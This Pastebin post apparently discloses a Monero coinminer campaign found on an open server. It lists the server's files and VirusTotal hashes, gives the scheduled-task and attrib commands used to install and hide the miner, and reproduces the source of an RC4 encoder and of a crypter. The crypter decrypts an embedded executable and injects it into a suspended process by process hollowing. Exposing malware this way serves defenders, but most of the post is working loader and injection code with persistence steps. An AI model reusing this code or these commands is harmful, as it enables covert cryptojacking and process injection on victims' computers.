Advertisement
PepperPotts

Monero Coinminer from 109.234.36.233

Feb 10th, 2018
526
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.85 KB | None | 0 0
  1. Miner and source code:
  2.  
  3. 109.234.36.233 - /bot/Miner/bin/Release/
  4. 2/10/2018 5:33 AM 16896 LoaderBot.exe
  5. 12/5/2017 5:28 AM 161 LoaderBot.exe.config
  6. 2/10/2018 5:33 AM 40448 LoaderBot.pdb
  7. 12/5/2017 5:28 AM 22696 LoaderBot.vshost.exe
  8. 12/5/2017 5:28 AM 161 LoaderBot.vshost.exe.config
  9. 11/22/2017 12:59 PM 3994 LoaderBot.vshost.exe.manifest
  10.  
  11. 109.234.36.233 - /src/Crypter/
  12.  
  13. 11/27/2017 2:23 PM 2741882 Crypter.cpp
  14. 11/22/2017 12:59 PM 39 Crypter.h
  15. 11/22/2017 3:00 PM 8299 Crypter.vcxproj
  16. 11/22/2017 12:59 PM 1725 Crypter.vcxproj.filters
  17. 11/22/2017 12:59 PM 165 Crypter.vcxproj.user
  18. 11/22/2017 12:59 PM 3943 ReadMe.txt
  19. 11/27/2017 2:11 PM <dir> Release
  20. 11/22/2017 12:59 PM 749 Resource.h
  21. 11/22/2017 12:59 PM 354 stdafx.cpp
  22. 11/22/2017 12:59 PM 595 stdafx.h
  23. 11/22/2017 12:59 PM 342 targetver.h
  24.  
  25. 109.234.36.233 - /bot/Miner/
  26.  
  27. 12/5/2017 5:28 AM 161 app.config
  28. 11/22/2017 12:59 PM 3994 app.manifest
  29. 11/22/2017 2:47 PM <dir> bin
  30. 12/2/2017 11:32 AM 14024 ex.cs
  31. 12/5/2017 5:28 AM 5890 LoaderBot.csproj
  32. 11/22/2017 12:59 PM 479 LoaderBot.csproj.user
  33. 11/22/2017 12:59 PM <dir> obj
  34. 2/10/2018 5:33 AM 14047 Program.cs
  35. 11/22/2017 12:59 PM <dir> Properties
  36. 11/22/2017 12:59 PM <dir> Resources
  37.  
  38.  
  39. Crypter.exe: https://www.virustotal.com/#/file/b9edd978ff1f27561855982cc224ef8de24fd3f23a5d5acdd2b7397b5b4d8479/detection
  40. RawData from crypter.cpp decrypted: https://www.virustotal.com/#/file/83344bd807921b5a3acd1addce2218f72b83311af5ec928b91c9eb4413257920/detection
  41. Another enbedded binary into RawData from crypter executable (the miner): https://www.virustotal.com/#/file/f581888f1c5c8a39ac332955197bd115f99b1c23a190b7a6da73e94455f8b467/detection
  42.  
  43.  
  44. Installation:
  45.  
  46. schtasks /create /tn \Systasks\ServiceRun /tr "C:\ProgramData\SystemIdle.exe" /st 00:00 /sc once /du 9999:59 /ri 1 /f
  47. attrib +s +h "C:\ProgramData\SystemIdle.exe"
  48. attrib +s +h %userprofile%\AppData\Roaming\Windows
  49.  
  50.  
  51.  
  52. -----------------------------------------------------------------------------------------------------------------------------------------
  53. -----------------------------------------------------------------------------------------------------------------------------------------
  54. -----------------------------------------------------------------------------------------------------------------------------------------
  55. -----------------------------------------------------------------------------------------------------------------------------------------
  56. -----------------------------------------------------------------------------------------------------------------------------------------
  57. -----------------------------------------------------------------------------------------------------------------------------------------
  58. -----------------------------------------------------------------------------------------------------------------------------------------
  59. -----------------------------------------------------------------------------------------------------------------------------------------
  60.  
  61.  
  62. http://109.234.36.233/src/Encoder/Encoder.cpp
  63.  
  64. // Encoder.cpp: îïðåäåëÿåò òî÷êó âõîäà äëÿ êîíñîëüíîãî ïðèëîæåíèÿ.
  65. //
  66.  
  67. #include <Windows.h>
  68. #include <fstream>
  69. #include <stdio.h>
  70. #include <random>
  71.  
  72. void ksa(unsigned char state[], unsigned char key[], unsigned int len)
  73. {
  74. int i, j = 0, k;
  75.  
  76.  
  77. for (i = 0; i <= 255; ++i)
  78. {
  79. state[i] = i;
  80. }
  81.  
  82.  
  83. for (i = 0; i <= 255; ++i)
  84. {
  85. j = (j + state[i] + key[i & (len - 1)]) & 255;
  86.  
  87.  
  88. k = state[i];
  89. state[i] = state[j];
  90. state[j] = k;
  91. }
  92. }
  93.  
  94. void prga(unsigned char state[], unsigned char stream[], unsigned int len)
  95. {
  96. int i, j = 0, k = 0, l;
  97.  
  98.  
  99. for (i = 0; i < len; ++i)
  100. {
  101. j = (j + 1) & 255;
  102. k = (k + state[j]) & 255;
  103.  
  104.  
  105. l = state[j];
  106. state[j] = state[k];
  107. state[k] = l;
  108.  
  109.  
  110. stream[i] = state[(state[j] + state[k]) & 255];
  111. }
  112. }
  113.  
  114. void _xor(unsigned char data1[], unsigned char data2[], unsigned int len)
  115. {
  116. for (int i = 0; i < len; i++)
  117. {
  118. data1[i] ^= data2[i];
  119. }
  120. }
  121.  
  122. void crib_drag(unsigned char data[], unsigned char crib[], unsigned int data_len, unsigned int crib_len)
  123. {
  124. int i, j;
  125.  
  126.  
  127. unsigned char *temp = new unsigned char[crib_len];
  128.  
  129.  
  130. for (i = 0; i <= data_len - crib_len; i++)
  131. {
  132. for (j = 0; j < crib_len; j++)
  133. {
  134. temp[j] = crib[j];
  135. }
  136.  
  137. for (j = 0; j < crib_len; j++)
  138. {
  139. temp[j] ^= data[j + i];
  140. }
  141. }
  142. delete[] temp;
  143. }
  144.  
  145. int main()
  146. {
  147. FILE * file = fopen("in.exe", "rb");
  148. if (file == NULL) return 0;
  149. fseek(file, 0, SEEK_END);
  150. long int size = ftell(file);
  151. fclose(file);
  152.  
  153. file = fopen("in.exe", "rb");
  154. unsigned char * in = (unsigned char *)malloc(size);
  155. int bytes_read = fread(in, sizeof(unsigned char), size, file);
  156. fclose(file);
  157.  
  158. unsigned char state[256];
  159. unsigned char *stream = new unsigned char[size];
  160. unsigned int iv;
  161. unsigned long long key;
  162. std::random_device rd;
  163. std::mt19937 mt(rd());
  164. std::uniform_real_distribution<float> dist(0.0, 16777215.0);
  165. iv = dist(mt);
  166. key = 10000000000;
  167. unsigned char seed[] =
  168. {
  169. (unsigned char)(iv >> 0), (unsigned char)(iv >> 8), (unsigned char)(iv >> 16),
  170. (unsigned char)(key >> 0), (unsigned char)(key >> 8), (unsigned char)(key >> 16), (unsigned char)(key >> 24), (unsigned char)(key >> 32)
  171. };
  172. ksa(state, seed, 8);
  173. prga(state, stream, size);
  174. _xor(in, stream, size);
  175.  
  176. file = fopen("out.exe", "wb");
  177. int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
  178. fclose(file);
  179.  
  180. ksa(state, seed, 8);
  181. prga(state, stream, size);
  182. _xor(in, stream, size);
  183.  
  184. file = fopen("decr.exe", "wb");
  185. bytes_written = fwrite(in, sizeof(unsigned char), size, file);
  186. fclose(file);
  187. FILE *f = fopen("key", "w");
  188.  
  189. for (int i = 0; i < 8; i++)
  190. {
  191. seed[i] -= 0x160;
  192. fprintf(f, "0x%02X|", seed[i]);
  193. }
  194. fclose(f);
  195.  
  196. return 0;
  197. }
  198.  
  199.  
  200. -----------------------------------------------------------------------------------------------------------------------------------------
  201. -----------------------------------------------------------------------------------------------------------------------------------------
  202. -----------------------------------------------------------------------------------------------------------------------------------------
  203. -----------------------------------------------------------------------------------------------------------------------------------------
  204. -----------------------------------------------------------------------------------------------------------------------------------------
  205. -----------------------------------------------------------------------------------------------------------------------------------------
  206. -----------------------------------------------------------------------------------------------------------------------------------------
  207. -----------------------------------------------------------------------------------------------------------------------------------------
  208.  
  209. http://109.234.36.233/src/Encoder/ReadMe.txt
  210.  
  211.  
  212. ========================================================================
  213. КОНСОЛЬНОЕ ПРИЛОЖЕНИЕ. Обзор проекта Encoder
  214. ========================================================================
  215.  
  216. Это приложение Encoder создано автоматически с помощью мастера приложений.
  217.  
  218. В этом файле представлена сводка содержимого всех файлов, входящих в состав приложения Encoder.
  219.  
  220.  
  221. Encoder.vcxproj
  222. Это основной файл проекта VC++, создаваемый с помощью мастера приложений. Он содержит данные о версии языка Visual C++, использованной для создания файла, а также сведения о платформах, конфигурациях и функциях проекта, выбранных с помощью мастера приложений.
  223.  
  224. Encoder.vcxproj.filters
  225. Это файл фильтров для проектов VC++, созданный с помощью мастера приложений. Он содержит сведения о сопоставлениях между файлами в вашем проекте и фильтрами. Эти сопоставления используются в среде IDE для группировки файлов с одинаковыми расширениями в одном узле (например CPP-файлы сопоставляются с фильтром "Исходные файлы").
  226.  
  227. Encoder.cpp
  228. Это основной исходный файл приложения.
  229.  
  230. /////////////////////////////////////////////////////////////////////////////
  231. Другие стандартные файлы:
  232.  
  233. StdAfx.h, StdAfx.cpp
  234. Эти файлы используются для построения файла предкомпилированного заголовка (PCH) с именем Encoder.pch и файла предкомпилированных типов с именем StdAfx.obj.
  235.  
  236. /////////////////////////////////////////////////////////////////////////////
  237. Прочие примечания.
  238.  
  239. С помощью комментариев «TODO:» в мастере приложений обозначаются фрагменты исходного кода, которые необходимо дополнить или изменить.
  240.  
  241. /////////////////////////////////////////////////////////////////////////////
  242.  
  243.  
  244. -----------------------------------------------------------------------------------------------------------------------------------------
  245. -----------------------------------------------------------------------------------------------------------------------------------------
  246. -----------------------------------------------------------------------------------------------------------------------------------------
  247. -----------------------------------------------------------------------------------------------------------------------------------------
  248. -----------------------------------------------------------------------------------------------------------------------------------------
  249. -----------------------------------------------------------------------------------------------------------------------------------------
  250. -----------------------------------------------------------------------------------------------------------------------------------------
  251. -----------------------------------------------------------------------------------------------------------------------------------------
  252.  
  253. http://109.234.36.233/src/Crypter/Crypter.cpp
  254.  
  255.  
  256. #include "stdafx.h"
  257. #include "Crypter.h"
  258. #include <windows.h>
  259. #include <winternl.h>
  260. #include <string>
  261. #include <stdio.h>
  262. #include <random>
  263. #include <iostream>
  264. #pragma comment(lib,"ws2_32.lib")
  265. #pragma comment(lib,"ntdll.lib")
  266.  
  267. //rawData = Encrypted PE with simple byte - 0x42 operation
  268.  
  269. unsigned char rawData[] = {
  270. 0x0B,0x18,0x4E,0xBE,0xC1,0xBE,0xBE,0xBE,0xC2,0xBE,0xBE,0xBE,0xBD,0xBD,0xBE,0xBE,
  271. 0x76,0xBE,0xBE,0xBE,0xBE,0xBE,
  272. ...
  273. ... (THIS ARRAY CONTAINS THE EMBBEDED PE ENCRYPTED WITH -0x42, unpacked PE here:
  274. https://www.virustotal.com/#/file/83344bd807921b5a3acd1addce2218f72b83311af5ec928b91c9eb4413257920/detection)
  275. ...
  276. 0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,
  277. 0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,
  278. };
  279.  
  280.  
  281. typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
  282.  
  283. typedef int(__stdcall *f_funci)();
  284.  
  285. int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
  286. for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
  287. rawData[i] += 0x42;
  288. }
  289. PIMAGE_DOS_HEADER IDH;
  290. PIMAGE_NT_HEADERS INH;
  291. PIMAGE_SECTION_HEADER ISH;
  292. PROCESS_INFORMATION PI;
  293. STARTUPINFOA SI;
  294. PCONTEXT CTX;
  295. PDWORD dwImageBase;
  296. NtUnmapViewOfSection xNtUnmapViewOfSection;
  297. LPVOID pImageBase;
  298. int Count;
  299. IDH = PIMAGE_DOS_HEADER(rawData);
  300. TCHAR szFilePath[1024];
  301. GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
  302. HINSTANCE hGetProcIDDLL = LoadLibrary(L"ntdll1.dll");
  303. if (!hGetProcIDDLL) {
  304. hGetProcIDDLL = LoadLibrary(L"JVwtJDkkEKjv");
  305. if (!hGetProcIDDLL) {
  306. hGetProcIDDLL = LoadLibrary(L"EvPdWfKGFgPu");
  307.  
  308.  
  309. //THE FOLLOWING CODE DECRYPT AND INJECT THE COINMINER
  310.  
  311. //Sleep(5000);
  312. DWORD_PTR mNtUnmapViewOfSection = (DWORD_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtUnmapViewOfSection");//Get dynamicly the adress of NtUnmapViewOfSection
  313. if (mNtUnmapViewOfSection)
  314. {
  315. if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
  316. {
  317. INH = PIMAGE_NT_HEADERS(DWORD(rawData) + IDH->e_lfanew);
  318. if (INH->Signature == IMAGE_NT_SIGNATURE)
  319. {
  320. RtlZeroMemory(&SI, sizeof(SI));
  321. RtlZeroMemory(&PI, sizeof(PI));
  322. if (CreateProcessA((LPCSTR)szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI))
  323. {
  324. CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
  325. CTX->ContextFlags = CONTEXT_FULL;
  326. if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
  327. {
  328. ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
  329. if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
  330. {
  331. xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
  332. xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
  333. }
  334. pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
  335. if (pImageBase)
  336. {
  337. WriteProcessMemory(PI.hProcess, pImageBase, rawData, INH->OptionalHeader.SizeOfHeaders, NULL);
  338. for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
  339. {
  340. ISH = PIMAGE_SECTION_HEADER(DWORD(rawData) + IDH->e_lfanew + 248 + (Count * 40));
  341. WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(rawData) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
  342. }
  343. WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
  344. CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
  345. SetThreadContext(PI.hThread, LPCONTEXT(CTX));
  346. ResumeThread(PI.hThread);
  347. }
  348.  
  349. }
  350. }
  351. }
  352. }
  353.  
  354. }
  355. VirtualFree(rawData, 0, MEM_RELEASE);
  356. return EXIT_FAILURE;
  357. }
  358. }
  359.  
  360. f_funci funci = (f_funci)GetProcAddress(hGetProcIDDLL, "NtUnmapViewOfSection123");
  361. if (!funci) {
  362.  
  363. return EXIT_FAILURE;
  364. }
  365.  
  366.  
  367. return 0;
  368.  
  369. }
  370.  
  371.  
  372.  
  373. -----------------------------------------------------------------------------------------------------------------------------------------
  374. -----------------------------------------------------------------------------------------------------------------------------------------
  375. -----------------------------------------------------------------------------------------------------------------------------------------
  376. -----------------------------------------------------------------------------------------------------------------------------------------
  377. -----------------------------------------------------------------------------------------------------------------------------------------
  378. -----------------------------------------------------------------------------------------------------------------------------------------
  379. -----------------------------------------------------------------------------------------------------------------------------------------
  380. -----------------------------------------------------------------------------------------------------------------------------------------
  381.  
  382.  
  383. http://109.234.36.233/src/Crypter/ReadMe.txt
  384.  
  385. ========================================================================
  386. ПРИЛОЖЕНИЕ WIN32. Обзор проекта Crypter
  387. ========================================================================
  388.  
  389. Это приложение Crypter создано автоматически с помощью мастера приложений.
  390.  
  391. В этом файле представлена сводка содержимого всех файлов, входящих в состав приложения Crypter.
  392.  
  393.  
  394. Crypter.vcxproj
  395. Это основной файл проекта VC++, создаваемый с помощью мастера приложений. Он содержит данные о версии языка Visual C++, использованной для создания файла, а также сведения о платформах, конфигурациях и функциях проекта, выбранных с помощью мастера приложений.
  396.  
  397. Crypter.vcxproj.filters
  398. Это файл фильтров для проектов VC++, созданный с помощью мастера приложений. Он содержит сведения о сопоставлениях между файлами в вашем проекте и фильтрами. Эти сопоставления используются в среде IDE для группировки файлов с одинаковыми расширениями в одном узле (например CPP-файлы сопоставляются с фильтром "Исходные файлы").
  399.  
  400. Crypter.cpp
  401. Это основной исходный файл приложения.
  402.  
  403. /////////////////////////////////////////////////////////////////////////////
  404. C помощью мастера приложений автоматически создаются следующие ресурсы:
  405.  
  406. Crypter.rc
  407. Он представляет собой список всех ресурсов Microsoft Windows, используемых программой. В него включены значки, точечные рисунки и курсоры, хранящиеся в подкаталоге RES. Этот файл можно редактировать непосредственно в Microsoft Visual C++.
  408.  
  409. Resource.h
  410. Это стандартный файл заголовка, в котором определяются новые идентификаторы ресурсов. Такой файл можно прочитать и обновить в Microsoft Visual C++.
  411.  
  412. Crypter.ico
  413. Файл значка для приложения (32x32). Этот значок включается в основной файл ресурсов Crypter.rc.
  414.  
  415. small.ico
  416. Файл значка, содержащий уменьшенную версию значка приложения (16x16). Этот значок включается в основной файл ресурсов Crypter.rc.
  417.  
  418. /////////////////////////////////////////////////////////////////////////////
  419. Другие стандартные файлы:
  420.  
  421. StdAfx.h, StdAfx.cpp
  422. Эти файлы используются для построения файла предкомпилированного заголовка (PCH) с именем Crypter.pch и файла предкомпилированных типов с именем StdAfx.obj.
  423.  
  424. /////////////////////////////////////////////////////////////////////////////
  425. Прочие примечания.
  426.  
  427. С помощью комментариев «TODO:» в мастере приложений обозначаются фрагменты исходного кода, которые необходимо дополнить или изменить.
  428.  
  429. /////////////////////////////////////////////////////////////////////////////
  430.  
  431.  
  432.  
  433.  
  434. -----------------------------------------------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement